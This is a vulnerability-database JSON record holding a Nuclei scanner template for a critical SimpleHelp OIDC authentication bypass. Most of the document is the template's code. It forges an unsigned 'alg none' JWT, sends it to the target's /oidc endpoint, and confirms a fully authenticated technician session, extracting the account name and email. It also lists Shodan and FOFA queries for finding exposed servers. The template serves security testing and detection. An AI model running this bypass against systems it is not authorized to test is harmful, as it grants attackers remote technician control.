{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2026-48558/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2026-48558/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2026-48558/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2026-48558/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2026-48558/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2026-48558"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2026-48558"
    }
  },
  "data": {
    "nuclei": true,
    "nuclei_template": "http/cves/2026/CVE-2026-48558.yaml",
    "nuclei_template_severity": "critical",
    "nuclei_template_yaml": "id: CVE-2026-48558\n\ninfo:\n  name: SimpleHelp <=5.5.15 - OIDC JWT Authentication Bypass\n  author: 0x_Akoko,pdteam\n  severity: critical\n  description: |\n    SimpleHelp <= 5.5.15 and 6.0 pre-release contain an authentication bypass caused by lack of cryptographic signature verification in OIDC tokens, letting remote unauthenticated attackers gain technician sessions, exploit requires OIDC authentication configured.\n  impact: |\n    Remote attackers can bypass authentication and multi-factor authentication to gain full technician access.\n  remediation: |\n    Update to a version later than 5.5.15 or the final 6.0 release.\n  reference:\n    - https://horizon3.ai/attack-research/disclosures/cve-2026-48558-simplehelp-authentication-bypass-iocs/\n    - https://simple-help.com/security/simplehelp-security-update-2026-05\n    - https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/http/simplehelp_oidc_auth_bypass_rce.rb\n    - https://github.com/J4ck3LSyN-Gen2/CVE-2026-48558\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-48558\n    - https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-48558\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H\n    cvss-score: 10.0\n    cve-id: CVE-2026-48558\n    cwe-id: CWE-347\n    epss-score: 0.64313\n    epss-percentile: 0.99194\n  metadata:\n    verified: true\n    max-request: 5\n    vendor: simple-help\n    product: simplehelp\n    shodan-query: html:\"SimpleHelp\"\n    fofa-query: body=\"SimpleHelp\"\n  tags: cve,cve2026,simplehelp,auth-bypass,oidc,jwt,kev,vkev,intrusive,vuln\n\nflow: |\n  (function () {\n    if (!http(1)) { return; }\n    var minor = parseInt(template[\"sh_minor\"] || \"99\");\n    if (isNaN(minor) || minor > 15) { return; }\n\n    http(2);\n    var providers_raw = template[\"providers_raw\"];\n    if (!providers_raw) { return; }\n\n    var providers;\n    try {\n      providers = JSON.parse(providers_raw);\n    } catch (e) { return; }\n    if (!providers || !providers[0]) { return; }\n\n    var provider = null;\n    for (var i = 0; i < providers.length; i++) {\n      if (providers[i][\"type\"] === \"oidc\" || providers[i][\"type\"] === \"azure\") {\n        provider = providers[i];\n        break;\n      }\n    }\n    if (!provider) { return; }\n\n    var root = (template[\"http_1_host\"] || \"\").replace(/\\/+$/, \"\");\n    if (!root) { return; }\n    provider[\"callback\"] = root + \"/webapps/technician/\";\n    set(\"oidc_payload_enc\", encodeURIComponent(JSON.stringify(provider)));\n\n    http(3);\n    var auth_url_str = template[\"auth_url_raw\"] || \"\";\n    var auth_url;\n    try {\n      auth_url = JSON.parse(auth_url_str);\n    } catch (e) {\n      auth_url = auth_url_str.replace(/^\"/, \"\").replace(/\"$/, \"\").trim();\n    }\n    if (!auth_url) { return; }\n\n    var state_m = auth_url.match(/[?&]state=([^&\\s\"'<>]+)/);\n    if (!state_m) { return; }\n\n    var nonce_m = auth_url.match(/[?&]nonce=([^&\\s\"'<>]+)/);\n    var nonce = nonce_m ? nonce_m[1] : \"\";\n\n    function b64url(s) {\n      var CHARS = \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_\";\n      var bytes = [];\n      for (var c = 0; c < s.length; c++) { bytes.push(s.charCodeAt(c) & 0xFF); }\n      var out = \"\";\n      var j = 0;\n      while (j < bytes.length) {\n        var b0 = bytes[j++];\n        var b1 = (j < bytes.length) ? bytes[j++] : -1;\n        var b2 = (j < bytes.length) ? bytes[j++] : -1;\n        out += CHARS[b0 >> 2];\n        out += CHARS[((b0 & 3) << 4) | (b1 < 0 ? 0 : (b1 >> 4))];\n        if (b1 >= 0) { out += CHARS[((b1 & 15) << 2) | (b2 < 0 ? 0 : (b2 >> 6))]; }\n        if (b2 >= 0) { out += CHARS[b2 & 63]; }\n      }\n      return out;\n    }\n\n    var now = Math.floor(new Date().getTime() / 1000);\n    var jwt_header  = {\"alg\":\"none\",\"typ\":\"JWT\"};\n    var jwt_payload = {\n      \"sub\":                \"probe-cve-2026-48558\",\n      \"preferred_username\": \"probe-check\",\n      \"name\":               \"ProbeCheck\",\n      \"email\":              \"probe-check@probetest.invalid\",\n      \"iat\":                now,\n      \"exp\":                now + 3600\n    };\n    if (nonce) { jwt_payload[\"nonce\"] = nonce; }\n\n    var forged_jwt = b64url(JSON.stringify(jwt_header)) + \".\" +\n                     b64url(JSON.stringify(jwt_payload)) + \".x\";\n\n    set(\"oidc_post_body\",\n        \"state=\" + encodeURIComponent(state_m[1]) +\n        \"&id_token=\" + encodeURIComponent(forged_jwt));\n\n    http(4);\n\n    http(5);\n  })();\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}/allversions\"\n\n    cookie-reuse: true\n\n    matchers:\n      - type: regex\n        part: body\n        regex:\n          - \"Visual Version:\\\\s+5\\\\.5\\\\.(\\\\d+)\"\n        internal: true\n\n    extractors:\n      - type: regex\n        name: sh_minor\n        part: body\n        group: 1\n        regex:\n          - \"Visual Version:\\\\s+5\\\\.5\\\\.(\\\\d+)\"\n        internal: true\n\n  - method: GET\n    path:\n      - \"{{BaseURL}}/auth/v1/account/login_options\"\n\n    cookie-reuse: true\n\n    matchers:\n      - type: status\n        status:\n          - 200\n        internal: true\n\n    extractors:\n      - type: dsl\n        name: providers_raw\n        dsl:\n          - \"body\"\n        internal: true\n\n  - raw:\n      - |\n        GET /auth/v1/account/oidc_get?payload={{oidc_payload_enc}} HTTP/1.1\n        Host: {{Hostname}}\n        Accept: application/json, */*\n\n    cookie-reuse: true\n\n    matchers:\n      - type: status\n        status:\n          - 200\n        internal: true\n\n    extractors:\n      - type: dsl\n        name: auth_url_raw\n        dsl:\n          - \"body\"\n        internal: true\n\n  - raw:\n      - |\n        POST /oidc HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        {{oidc_post_body}}\n\n    cookie-reuse: true\n    redirects: false\n\n    matchers:\n      - type: dsl\n        dsl:\n          - \"status_code == 200 || status_code == 302\"\n        internal: true\n\n  - method: GET\n    path:\n      - \"{{BaseURL}}/auth/v1/account/status\"\n\n    cookie-reuse: true\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(body, \"FULLY_AUTHENTICATED\")'\n          - 'contains(body, \"\\\"code\\\":1\") || contains(body, \"\\\"code\\\": 1\")'\n        condition: and\n\n    extractors:\n      - type: dsl\n        dsl:\n          - 'username + \" | \" + email'\n\n      - type: json\n        part: body\n        json:\n          - \".user.username\"\n        name: username\n        internal: true\n\n      - type: json\n        part: body\n        json:\n          - \".user.emailAddress\"\n        name: email\n# digest: 4a0a00473045022100a41d78f75968fb7550ecac910710df1cafef1f0559f7a0d155fb2ccf6ca9262a02205f2fa5004012ee0e5d0a541b21648246ca20ee12d15932fa8262095913907ce2:922c64590222798bb761d5b6d8e72950"
  },
  "source": "nuclei",
  "vuln_id": "cve-2026-48558"
}